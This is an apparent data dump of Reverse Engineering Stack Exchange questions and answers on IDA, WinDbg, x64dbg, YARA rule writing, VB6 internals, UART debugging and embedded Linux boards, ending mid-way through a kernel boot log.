  <row Id="25113" PostTypeId="1" AcceptedAnswerId="25114" CreationDate="2020-05-25T12:01:55.707" Score="0" ViewCount="758" Body="&lt;p&gt;I'm trying to find &lt;code&gt;libc&lt;/code&gt; symbols in some Windows 32-bit application. For some reason, Ida autoanalysis didn't recognized code that comes from &lt;code&gt;libc&lt;/code&gt; as &quot;library function&quot;, but as a &quot;regular function&quot;. Let me make it more clear with some screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tutor got the following result (sorry for the low quality, I describe whats in it after the shot):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jobXw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jobXw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;This is the same image and you (maybe) can see that the &lt;code&gt;malloc&lt;/code&gt; function at &lt;code&gt;0xE0E5DE&lt;/code&gt; is recognized as library function. The whole neighborhood is recognized as library function, since this section is for static-linked &lt;code&gt;libc&lt;/code&gt; symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I'm loading the image its a &quot;regular function&quot;, and of course it doesn't resolve as &lt;code&gt;malloc()&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R1iiJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R1iiJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to re-autoanalyze the code (&lt;code&gt;Options --&amp;gt; General --&amp;gt; Reanalyze Program&lt;/code&gt;) but it didn't help. Hence I'm asking for help:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there another automatic way to make IDA &quot;notice&quot; this code comes from static linking of a library?&lt;/li&gt;&#xA;&lt;li&gt;Maybe there is a manual way to do it? like: marking a code chunk as library function and compare it against &lt;code&gt;libc&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S: the app was once packed with UPX, I decompress it. I don't believe it has anything to do with this problem, but maybe it has so I'm mentioning it&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="33331" LastEditorUserId="27674" LastEditDate="2020-05-25T16:07:39.490" LastActivityDate="2020-05-25T16:07:39.490" Title="ida identifies library function as regular function" Tags="|ida|static-analysis|symbols|libraries|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25114" PostTypeId="2" ParentId="25113" CreationDate="2020-05-25T13:33:49.133" Score="3" Body="&lt;p&gt;There can be multiple reasons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the FLIRT signatures which have been loaded automatically do not have a pattern for this specific function. You can check which signatures have been applied and try loading additional ones via Signatures view (&lt;kbd&gt;Shift-F5&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the function pattern was conflicting with another function(s) and has been dropped from the final signature file. If you have the original library with the function, you can try creating your own signature.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The function has been modified from the standard one so the matching failed&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can try enabling FLIRT diagnostic output by stating IDA with &lt;code&gt;-z4&lt;/code&gt; &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;command line switch&lt;/a&gt; and observe if the address in question is mentioned in the log. Maybe that will give some clues about why it hasn't been matched. &lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-05-25T13:45:21.817" LastActivityDate="2020-05-25T13:45:21.817" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25115" PostTypeId="2" ParentId="25111" CreationDate="2020-05-25T18:30:49.307" Score="3" Body="&lt;p&gt;using windbg  you can set an sxe ld:Modname event break&lt;/p&gt;&#xA;&#xA;&lt;p&gt;assuming you are running this which will pop up a help gui for printers &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rundll32.exe printui.dll PrintUIEntry /?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you want to Break on this printUI.dll's CrtMain or AddressOfEntryPoint you can do it like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\WINDOWS\system32&amp;gt;cdb rundll32.exe printui.dll PrintUIEntry /?&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.17763.132 AMD64&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;ntdll!LdrpDoDebuggerBreak+0x30:&#xA;00007ffc`b725121c cc              int     3&#xA;&#xA;0:000&amp;gt; sxe ld:printui.dll    &#xA;0:000&amp;gt; .sxcmds&#xA;sxe ld:printui.dll ;&#xA;&#xA;0:000&amp;gt; g&#xA;ModLoad: 00007ffc`a04e0000 00007ffc`a058d000   C:\WINDOWS\system32\printui.dll&#xA;ntdll!NtMapViewOfSection+0x14:&#xA;00007ffc`b721c5c4 c3              ret&#xA;&#xA;0:000&amp;gt; .lastevent&#xA;Last event: 1d84.293c: Load module C:\WINDOWS\system32\printui.dll at 00007ffc`a04e0000&#xA;  debugger time: Mon May 25 23:55:59.235 2020 &#xA;&#xA;0:000&amp;gt; .shell -ci &quot;!dh 00007ffc`a04e0000&quot; findstr /I Entry&#xA;    3CA0 address of entry point&#xA;.shell: Process exited&#xA;&#xA;0:000&amp;gt; bp 00007ffc`a04e0000+3ca0&#xA;0:000&amp;gt; bl&#xA; 0 e 00007ffc`a04e3ca0     0001 (0001)  0:**** printui!DllMainCRTStartup&#xA;0:000&amp;gt; g&#xA;ModLoad: 00007ffc`b5950000 00007ffc`b59f3000   C:\WINDOWS\System32\ADVAPI32.dll&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;Breakpoint 0 hit&#xA;printui!DllMainCRTStartup:&#xA;00007ffc`a04e3ca0 48895c2408 mov qwordptr[rsp+8],rbx ss:0000009a`5918edd0=0000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can see the call stack to find all the responsible calls that leads to this break&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; k&#xA;Child-SP          RetAddr           Call Site&#xA;0000009a`5918edc8 00007ffc`b71a50a1 printui!DllMainCRTStartup&#xA;0000009a`5918edd0 00007ffc`b71e9405 ntdll!LdrpCallInitRoutine+0x65&#xA;0000009a`5918ee40 00007ffc`b71e91f8 ntdll!LdrpInitializeNode+0x1b1&#xA;0000009a`5918ef80 00007ffc`b71aaa97 ntdll!LdrpInitializeGraphRecurse+0x80&#xA;0000009a`5918efc0 00007ffc`b71a2591 ntdll!LdrpPrepareModuleForExecution+0xbf&#xA;0000009a`5918f000 00007ffc`b71a22a8 ntdll!LdrpLoadDllInternal+0x199&#xA;0000009a`5918f080 00007ffc`b71a1764 ntdll!LdrpLoadDll+0xa8&#xA;0000009a`5918f230 00007ffc`b43e56f0 ntdll!LdrLoadDll+0xe4&#xA;0000009a`5918f320 00007ff7`ff62356e KERNELBASE!LoadLibraryExW+0x170&#xA;0000009a`5918f390 00007ff7`ff623aff rundll32!_InitCommandInfo+0x82&#xA;0000009a`5918f7e0 00007ff7`ff6262d9 rundll32!wWinMain+0x1ef&#xA;0000009a`5918fa50 00007ffc`b6287bd4 rundll32!__wmainCRTStartup+0x1c9&#xA;0000009a`5918fb10 00007ffc`b71eced1 KERNEL32!BaseThreadInitThunk+0x14&#xA;0000009a`5918fb40 00000000`00000000 ntdll!RtlUserThreadStart+0x21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-05-25T18:30:49.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25116" PostTypeId="2" ParentId="25106" CreationDate="2020-05-26T00:36:36.463" Score="2" Body="&lt;p&gt;Agree with Robert - The common way to avoid false positives is having a large software pool of known benign software you can check your rules with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are just starting to write yara rules then concentrate on the easy way that is strings, write yara rules based on the unique strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer this:&#xA;Can anyone tell me which code is suitable and which is not? What are the criterions for Yara rules based assembler codes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the criteria which you can use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Any single line assembly code will be bad choice, you will need few lines of assembly code&lt;/li&gt;&#xA;&lt;li&gt;Write yara rule based on custom encryption/decryption loop with&#xA;unique key &lt;/li&gt;&#xA;&lt;li&gt;Don't take standard encryption/decryption like RC4 for&#xA;yara rule, that's why I said custom in above point &lt;/li&gt;&#xA;&lt;li&gt;Don't include yara rule with too many address offset as it may not hit another hash &lt;/li&gt;&#xA;&lt;li&gt;Wild card address offset to hit different hashes of the same malware family&lt;/li&gt;&#xA;&lt;li&gt;Take a code pattern which is performing some unique steps which is&#xA;specific to this malware sample&lt;/li&gt;&#xA;&lt;li&gt;Mixture of few strings and assembly code should give you good result&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This above list is not a comprehensive criteria but you will learn more by doing it and looking through existing Yara rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check this repository for different type of Yara Rules, you will get some idea for strings and assembly code Yara rules: &#xA;&lt;a href=&quot;https://github.com/Yara-Rules/rules&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Yara-Rules/rules&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33334" LastActivityDate="2020-05-26T00:36:36.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25117" PostTypeId="1" CreationDate="2020-05-26T01:35:09.240" Score="1" ViewCount="118" Body="&lt;p&gt;I am newish to reverse engineering and have a question about a problem with IDA Pro. I am trying to reverse engineer an old mmo game. Anyone know why dword_ calls show as &quot;dd ?&quot;? Float numbers and plain text shows up in the .rdata section except for dwords. Is this of any importance in reverse engineering said application?&lt;a href=&quot;https://i.stack.imgur.com/55701.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/55701.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33336" LastActivityDate="2020-05-26T01:35:09.240" Title="Reverse engineering old mmo" Tags="|ida|c++|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25118" PostTypeId="1" CreationDate="2020-05-26T01:36:37.210" Score="1" ViewCount="3944" Body="&lt;p&gt;When reverse engineering a big application, it can be very useful to be able to see the network traffic it generates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of this, many applications use HTTPS to communicate with their servers. Bypassing this has become easy to do with tools like Charles (SSL Proxy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, some applications have begun to use Certificate Pinning which does not allow a proxy to intercept traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some solutions around this problem, ideally, I'm looking for a methodology, tools and techniques to do this in Windows applications.&lt;/p&gt;&#xA;" OwnerUserId="33335" LastEditorUserId="245" LastEditDate="2020-05-26T14:45:30.707" LastActivityDate="2020-05-26T14:45:30.707" Title="How to bypass SSL certificate pinning on Windows 10" Tags="|windows|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25119" PostTypeId="1" CreationDate="2020-05-26T03:50:07.567" Score="2" ViewCount="44" Body="&lt;p&gt;I'm looking at a problem with app that has lost source code and the app crashes shortly after calling code that appears to be &lt;strong&gt;&lt;em&gt;[Global Variable representing Form Object]&lt;/em&gt;&lt;/strong&gt;.&lt;strong&gt;ZOrder 0&lt;/strong&gt; (i.e. trying to make the form visible)&#xA;There are multiple forms so I am trying to work out specifically which form is being accessed.&#xA;To work this out I made some sample code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Public gFormToActivate As Form&#xA;&#xA;Private Sub cmddoDo_Click()&#xA;    gsCurrentLine = &quot;START: Set gFormToActivate = FormDoDo&quot;&#xA;    Set gFormToActivate = FormDoDo&#xA;    gsCurrentLine = &quot;END: Set gFormToActivate = FormDoDo&quot;&#xA;    gsCurrentLine = &quot;START: Me.Hide&quot;&#xA;    Me.Hide&#xA;    gsCurrentLine = &quot;END: Me.Hide&quot;&#xA;End Sub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ZOrder is later set using code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private Sub Command1_Click()&#xA;    FormDoDo.Show&#xA;    FormDada.Show&#xA;    Form2.Show vbModal&#xA;    gsCurrentLine = &quot;START: gFormToActivate.ZOrder 0&quot;&#xA;    gFormToActivate.ZOrder 0&#xA;    gsCurrentLine = &quot;END: gFormToActivate.ZOrder 0&quot;&#xA;End Sub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using IDA Pro I look at the disassembly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .text:00403674 C7 45 D4 18 2B 40 00                                            mov     dword ptr [ebp-2Ch], offset aStartSetGformt ; &quot;START: Set gFormToActivate = FormDoDo&quot;&#xA;    .text:0040367B C7 45 CC 08 00 00 00                                            mov     dword ptr [ebp-34h], 8&#xA;    .text:00403682 FF D7                                                           call    edi ; __vbaVarCopy&#xA;    .text:00403684 A1 24 40 40 00                                                  mov     eax, dword_404024&#xA;    .text:00403689 85 C0                                                           test    eax, eax&#xA;    .text:0040368B 75 10                                                           jnz     short loc_40369D&#xA;    .text:0040368D 68 24 40 40 00                                                  push    offset dword_404024&#xA;    .text:00403692 68 60 15 40 00                                                  push    offset dword_401560&#xA;    .text:00403697 FF 15 4C 71 40 00                                               call    ds:__vbaNew2&#xA;    .text:0040369D&#xA;    .text:0040369D                                                 loc_40369D:                             ; CODE XREF: .text:0040368B↑j&#xA;    .text:0040369D 8B 0D 24 40 40 00                                               mov     ecx, dword_404024&#xA;    .text:004036A3 68 E4 26 40 00                                                  push    offset dword_4026E4&#xA;    .text:004036A8 51                                                              push    ecx&#xA;    .text:004036A9 FF 15 70 71 40 00                                               call    ds:__vbaCastObj&#xA;    .text:004036AF 50                                                              push    eax&#xA;    .text:004036B0 68 60 40 40 00                                                  push    offset dword_404060&#xA;    .text:004036B5 FF 15 08 71 40 00                                               call    ds:__vbaObjSet&#xA;    .text:004036BB 8D 55 CC                                                        lea     edx, [ebp-34h]&#xA;    .text:004036BE 8D 4D DC                                                        lea     ecx, [ebp-24h]&#xA;    .text:004036C1 C7 45 D4 68 2B 40 00                                            mov     dword ptr [ebp-2Ch], offset aEndSetGformtoa ; &quot;END: Set gFormToActivate = FormDoDo&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on this I suspected form variable might be stored at &quot;offset dword_404060&quot;. Any suggestions on good next steps to work out in more detail how to get the properties of this object? In WinDbg looking a this address shows the following. I have been reviewing &lt;a href=&quot;http://sandsprite.com/vb-reversing/files/Alex_Ionescu_vb_structures.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sandsprite.com/vb-reversing/files/Alex_Ionescu_vb_structures.pdf&lt;/a&gt; to better understand VB structures but haven't worked out a solution yet&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2020-05-26T03:50:07.567" Title="Find the caption of VB5/6 Form Object in Memory Dump" Tags="|windbg|vb6|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25120" PostTypeId="1" AcceptedAnswerId="25234" CreationDate="2020-05-26T07:12:24.887" Score="0" ViewCount="186" Body="&lt;p&gt;I've been probing this CCTV DVR board trying to find a serial port to see if I can get console access to it. I found a set of 4 through holes with no headers that looked like a good candidate. I hooked up to my Bus Pirate in UART mode at a baud rate of 115200 and it seemed promising at first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;System startup&#xA;&#xA;U-Boot 2010.06 (Dec 27 2018 - 17:06:41)&#xA;&#xA;Check Flash Memory Controller v100 ... Found&#xA;SPI Nor(cs 0) ID: 0xc2 0x20 0x18&#xA;Block:64KB Chip:16MB Name:&quot;MX25L128XX&quot;&#xA;SPI Nor total size: 16MB&#xA;*** Warning - bad CRC, using default environment&#xA;&#xA;In:    serial&#xA;Out:   serial&#xA;Err:   serial&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then things get weird. The next line has legible text but some garbage in it, then after that nothing but garbage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;�P���Starting the controller&#xA;+*/�)))!)       �!�+!%) !      �)*+��&#xA;&#xA;%+���5�!                                -��5�!&#xA;        !�!&#xA;           +-���&#xA;                !���&#xA;�%      %!-     �)�����+��+     !       %!!5!!�)!+!&#xA;+)      %%�+&#xA;                %!5                                                                                                                                                                                          )&#xA;                   ��)5 !5)!)   %               �)!%&#xA;        -&#xA;         %)     )       5)�-�&#xA;!                               )��!�   !&#xA; -      )!&#xA;%-&#xA;  !%!   !       !&#xA;&#xA;!��&#xA;%)!�%   %%)!    !�      �&#xA;%!�))   !)!)!)!%-&#xA;�-))!   ��      ��)))!! ��%&#xA;�%!)�!)%)�))%              �)           %-%+�&#xA;�)      !�5�    !       �               !       -!!&#xA;            )%!&#xA;��)�)%�)���)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this because the baud rate is suddenly changing? Or is it more likely that the output is switching to some proprietary format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also didn't have a super solid connection to the board when trying this, could it be that the connection dropped and then reconnected out of sync or something?&lt;/p&gt;&#xA;" OwnerUserId="33229" LastActivityDate="2020-06-08T03:16:26.133" Title="Can a UART port change baud rate at runtime?" Tags="|hardware|serial-communication|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25121" PostTypeId="2" ParentId="17396" CreationDate="2020-05-26T09:05:41.207" Score="1" Body="&lt;p&gt;A couple of years of experience later, I revisited this project and figured it out!&#xA;The compression is in fact LZSS, and the QuickBMS script from my question is able to decompress it correctly. The second section I mentioned was problematic just because there are uncompressed blocks in between compressed blocks in the chip dump, so, obviously, they need to be extracted and decompressed separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone is interested in understanding LZSS properly, I really liked the way it was explained in the book &quot;Retrogame Archeology: Exploring Old Computer Games&quot;, page 104 (can be viewed for free on Google books).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all for helping, I could not have figured it out without an amazing community here! :)&lt;/p&gt;&#xA;" OwnerUserId="23171" LastActivityDate="2020-05-26T09:05:41.207" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25124" PostTypeId="1" CreationDate="2020-05-26T15:42:24.007" Score="1" ViewCount="754" Body="&lt;p&gt;How to log CPU instructions executed by program with x64dbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/18634/x64dbg-see-the-current-position&quot;&gt;x64dbg - see the current position?&lt;/a&gt; question, but I can't find the way to log instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="33342" LastActivityDate="2021-06-20T21:05:50.550" Title="How to log CPU instructions executed by program with x64dbg?" Tags="|x64dbg|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25126" PostTypeId="2" ParentId="25124" CreationDate="2020-05-26T18:11:50.600" Score="1" Body="&lt;p&gt;As far as I understand reading your comments - you want to log all the executed instructions in the file. To do this you need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pause the program, either via &lt;code&gt;Pause&lt;/code&gt; option (F12) or using breakpoints&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;code&gt;Trace&lt;/code&gt; menu and then &lt;code&gt;Trace into...&lt;/code&gt; (Ctrl+Alt+F7) or &lt;code&gt;Trace over...&lt;/code&gt; (Ctrl+Alt+F8). If you want to log every instruction you probably want to use &lt;code&gt;Trace into...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Now in the newly created window&#xA;&lt;a href=&quot;https://i.stack.imgur.com/p1vEI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1vEI.png&quot; alt=&quot;Trace dialog&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;you can select the &lt;code&gt;Log Text&lt;/code&gt; format, you can use the proposed &lt;code&gt;0x{p:cip} {i:cip}&lt;/code&gt; which will log the data to file like &lt;code&gt;0x006E8749 mov ebp, esp&lt;/code&gt;. It is also good idea to set the &lt;code&gt;Maximum trace count&lt;/code&gt; and the &lt;code&gt;Log File...&lt;/code&gt; where the data will be stored. After you are done just press &lt;code&gt;OK&lt;/code&gt; and the x64dbg will start executing your program and log all the instructions. Keep in mind that the program won't work really fast during the trace procedure.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-05-26T18:11:50.600" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25129" PostTypeId="2" ParentId="5830" CreationDate="2020-05-27T07:19:56.110" Score="1" Body="&lt;p&gt;Generally, the solutions to this problem can be classified to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pattern matching heuristics. Just like what you are proposing. For example, searching for &lt;code&gt;push&lt;/code&gt;es in the binary can provide a (rather) rough approximation of function starts. Things are more difficult if you want to locate function ends though.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Machine learning. Pattern matching can be automated using machine learning. There are several proposals in the literature like [&lt;a href=&quot;https://www.aaai.org/Papers/AAAI/2008/AAAI08-127.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;], [&lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-bao.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;], and [&lt;a href=&quot;https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-shin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;3&lt;/a&gt;]. All of which attempt to learn byte-level features of function starts and ends. However, modern compiler optimizations make it challenging for such approaches to generalize to binaries beyond the training set.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;CFG-based techniques. This is the most promising approach based on [&lt;a href=&quot;https://doi.org/10.1145/2968455.2968505&quot; rel=&quot;nofollow noreferrer&quot;&gt;4&lt;/a&gt;] (disclosure: first author here) and concurrently [&lt;a href=&quot;https://doi.org/10.1109/EuroSP.2017.11&quot; rel=&quot;nofollow noreferrer&quot;&gt;5&lt;/a&gt;]. Basically, it proceeds with (1) direct call target analysis, (2) CFG traversal to locate function ends, and (3) tail-call target analysis.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Call frame information (CFI) records. Before doing anything fancy, checkout the CFI records in the &lt;code&gt;.eh_frame&lt;/code&gt; section. There is a good chance that functions are defined there already. In order to dump CFI records, you can use something like &lt;code&gt;readelf --debug-dump=frames /bin/ls&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've recently revisited the problem of function identification in this blog &lt;a href=&quot;https://blog.formallyapplied.com/2020/05/function-identification/&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt; where I provide more details.&lt;/p&gt;&#xA;" OwnerUserId="11828" LastActivityDate="2020-05-27T07:19:56.110" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25130" PostTypeId="1" CreationDate="2020-05-27T07:22:12.900" Score="-1" ViewCount="124" Body="&lt;p&gt;I want to change values of all &lt;code&gt;WORD&lt;/code&gt; array of 4 elements by one step using &lt;code&gt;QWORD PTR&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ebx, OFFSET arr ; arr is WORD of 1,2,3,4 &#xA;xor qword ptr [ebx], 8000800080008000h ; I get error of constant value too large&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33345" LastEditorUserId="31278" LastEditDate="2020-05-27T13:37:08.813" LastActivityDate="2020-05-27T13:37:08.813" Title="Can I traverse the entire WORD array of 4 elements with QWORD PTR?" Tags="|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25131" PostTypeId="2" ParentId="25130" CreationDate="2020-05-27T08:17:12.917" Score="1" Body="&lt;p&gt;In the &lt;code&gt;xor&lt;/code&gt; specification, that you can see &lt;a href=&quot;https://www.felixcloutier.com/x86/xor&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, there is no version of xor with &lt;code&gt;imm64&lt;/code&gt; - an immediate value of 64 bits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rcx, 0x8000800080008000&#xA;xor qword ptr [rbx], rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the register in the &lt;code&gt;xor&lt;/code&gt; command must be r64 type (&lt;code&gt;rax&lt;/code&gt;, &lt;code&gt;rbx&lt;/code&gt;, ...) and not the r32 type (&lt;code&gt;eax&lt;/code&gt;, &lt;code&gt;ebx&lt;/code&gt;, ...)&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-05-27T08:17:12.917" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25132" PostTypeId="1" CreationDate="2020-05-27T08:53:23.000" Score="1" ViewCount="297" Body="&lt;p&gt;I need to duplicate an old embedded board based on a Yocto-based Linux.&lt;/p&gt;&#xA;&lt;p&gt;I have bought a new board with the same part number and now I need to put the old software in the new board (the new board has only u-boot installed).&lt;/p&gt;&#xA;&lt;p&gt;The original board has u-boot with few command list, so I had to dumped the memory by serial terminal.&lt;/p&gt;&#xA;&lt;p&gt;I got some file in .txt with the internal memory data and I convert them in .bin with Linux &lt;code&gt;xxd -r&lt;/code&gt; command and i put the data in my new board.&lt;/p&gt;&#xA;&lt;p&gt;When I turn on my new board, the Linux kernel starts but it can't find the partition and stops to work and says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;OLD BOARD BOOT:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;U-Boot 2009.01 (May 28 2011 - 03:25:24)&#xA;&#xA;CPU:   Freescale i.MX25 at 398 MHz&#xA;Board: GEA_M6425 &#xA;I2C:   ready&#xA;DRAM:  64 MB&#xA;NAND:  Bad block table found at page 131008, version 0x01&#xA;Bad block table found at page 130944, version 0x01&#xA;256 MiB&#xA;NAND read: device 0 offset 0xc0000, size 0x40000&#xA;    262144 bytes read: OK&#xA;In:    serial&#xA;Out:   serial&#xA;Err:   serial&#xA;i2c_addr:chip address cycle fail(a1)&#xA;Net:   miiphy_register: non unique device name 'FEC0'&#xA;FEC0, FEC0&#xA;Version: &#xA;Note:    &#xA;Auto-update from TFTP: trying update file 'prog.scr'&#xA;FEC: enable RMII gasket&#xA;Using FEC0 device&#xA;TFTP from server 192.168.140.12; our IP address is 192.168.140.30&#xA;Filename 'prog.scr'.&#xA;Load address: 0x81000000&#xA;Loading: *T T T T T T T T T T T T T T T T T T T T &#xA;Retry count exceeded; starting again&#xA;Can't load update file, aborting auto-update&#xA;Auto-update from NAND:&#xA;NAND read: device 0 offset 0x1000000, size 0x20&#xA;    32 bytes read: OK&#xA;No image found.&#xA;Hit any key to stop autoboot:  3  2  1  0 &#xA;NAND read: device 0 offset 0x100000, size 0x300000&#xA;    3145728 bytes read: OK&#xA;## Booting kernel from Legacy Image at 81000000 ...&#xA;    Image Name:   Linux-2.6.31-rc9&#xA;    Image Type:   ARM Linux Kernel Image (uncompressed)&#xA;    Data Size:    2318824 Bytes =  2.2 MB&#xA;    Load Address: 80008000&#xA;    Entry Point:  80008000&#xA;    Verifying Checksum ... OK&#xA;    Loading Kernel Image ... OK&#xA;OK&#xA;Starting kernel ...&#xA;Uncompressing Linux....................................................................................................................................................... done, booting the kernel.&#xA;Linux version 2.6.31-rc9 (user@evelin) (gcc version 4.1.2) #1 PREEMPT Tue Sep 27 21:35:47 CEST 2011&#xA;CPU: ARM926EJ-S [41069264] revision 4 (ARMv5TEJ), cr=00053177&#xA;CPU: VIVT data cache, VIVT instruction cache&#xA;Machine: Freescale MX25 3-Stack Board&#xA;Ignoring unrecognised tag 0x54410008&#xA;Memory policy: ECC disabled, Data cache writeback&#xA;Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&#xA;Kernel command line: console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=mxcfb:320x240,16bpp,Var-QVGA&#xA;PID 